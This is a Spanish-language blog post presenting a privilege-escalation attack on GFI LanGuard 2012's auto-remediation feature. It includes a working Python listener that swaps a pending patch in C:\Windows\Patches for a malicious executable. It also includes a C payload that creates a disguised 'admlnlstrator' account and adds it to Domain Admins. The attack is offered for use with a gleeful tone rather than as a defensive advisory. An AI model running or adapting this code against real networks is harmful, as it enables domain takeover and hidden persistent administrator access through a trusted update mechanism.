Escalado de privilegios mediante GFI LanGuard 2012

GFI LanGuard 2012 (http://www.gfi.com/network-security-vulnerability-scanner) es la competencia de Microsoft SCCM, una suite para inventariado, análisis básico de vulnerabilidades y distribución de software en red.

Existe una característica llamada 'auto remediation' que automáticamente copia y ejecuta las actualizaciones aprobadas por el administrador en los equipos de la red. El parche de software se instalará y el usuario lo único que verá es un aviso para reiniciar su máquina. Normalmente la mayoría de los administradores cometen el error de configurar una cuenta con privilegios de administrador de dominio para facilitar la distribución de estas actualizaciones:



El otro problema es que no hay ningún control de integridad de los ficheros copiados antes de ser ejecutados... Si tienes la mente "sucia" ya te habrás dado cuenta que esta técnica va de eso: antes de que se ejecute un parche sustituirlo por otro fichero con un payload malicioso.

Lo único que necesitamos es levantar un listener en nuestra máquina "trampa" en el dominio que va a esperar pacientemente a que GFI LanGuard 2012 le lance una actualización. Este listener va a controlar el contenido del directorio 'C:\Windows\Patches' para que, una vez que vea que hay dos archivos en el directorio (uno siendo escrito y otro ya escrito y por tanto desbloqueado), sustituya el archivo desbloqueado con el archivo con el payload malicioso. Eso sí, dado que los parches se almacenan en el directorio 'C:\Windows\Patches' necesitaremos privilegios de administrador local en el equipo con el listener:


listener.py
'''
Created on Dec 21, 2012
@author: Essential Exploit Labs
'''
import os, shutil
path="C:\\Windows\\Patches\\"
payload="payload.exe"
hook=0
files = []
 
dirList=os.listdir(path)
for fname in dirList:
    fileToDelete = path
    fileToDelete += fname
    os.remove(fileToDelete)
fname = None
 
while hook==0:
    dirList = None
    dirList=os.listdir(path)
    for fname in dirList:
        if fname.endswith(".exe"):
            if fname not in (files):
                files.append(fname)
    if len(files) > 1:
        print "We got the Files "
        print files[0]
        print "and "
        print files[1]
        print "Time to launch payload!"
        hook=1
 
fReplace = path
fReplace += files[0]
shutil.copy(payload, fReplace)
 
Si tiene éxito, el payload será tan sencillo como efectivo y devastador, como por ejemplo, aprovechar los privilegios de administración de dominio para añadir otro administrador de dominio para nosotros }:)

prueba.c
// payload.cpp 
// Essential Exploit Labs
 
#include "stdafx.h"
#include <Windows.h>
 
void exploit()
{
 system("net user admlnlstrator MyPassw0rd /add /domain");
 system("net group \"Domain Admins\" admlnlstrator /add /domain");
}
 
int _tmain(int argc, _TCHAR* argv[])
{
 exploit();
 return 0;
}

Comentarios